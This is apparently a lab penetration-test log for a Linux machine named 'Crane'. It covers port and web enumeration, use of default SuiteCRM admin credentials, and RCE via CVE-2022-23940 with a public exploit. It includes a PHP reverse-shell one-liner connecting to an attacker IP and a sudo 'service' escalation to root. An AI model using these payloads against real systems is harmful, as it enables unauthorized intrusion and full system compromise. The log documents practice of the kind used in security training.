Crane

🧪 Pentest Log: {{date:2025-08-10}}

🔍 Target Information

Machine Name: Crane
IP Address: 192.168.187.146
Operating System: Linux

ip=192.168.187.146

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

admin"admin

SuiteCRM Version 7.12.3

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

Google "SuiteCRM Version 7.12.3 exploit", found

https://medium.com/@_crac/cve-2022-23940-rce-in-suitecrm-90df53980d8c

Port 3306

Port 33060

💣 Exploitation

📌 Vulnerability Summary

Service / Port: 80
Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

Manual
Public Exploit
Custom Script

Tool / Script Used:

https://github.com/manuelz120/CVE-2022-23940

python3 exploit.py -h http://$ip -u admin -p admin -P "php -r '\$sock=fsockopen(\"192.168.45.163\", 80); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

penelope -p 80

🧬 Privilege Escalation

👤 Current Access

User: www-data
Groups: www-data
Shell Type: reverse shell

🔍 Enumeration

Sudo:

sudo -l

found

User www-data may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/service

🔓 Privilege Escalation Exploit

📌 Exploit Summary

Technique Used: Sudo Misconfiguration
Target Binary/Service: Service
Reference / Source: GTFOBins

🔧 Exploit Steps

Smash to root

sudo service ../../bin/sh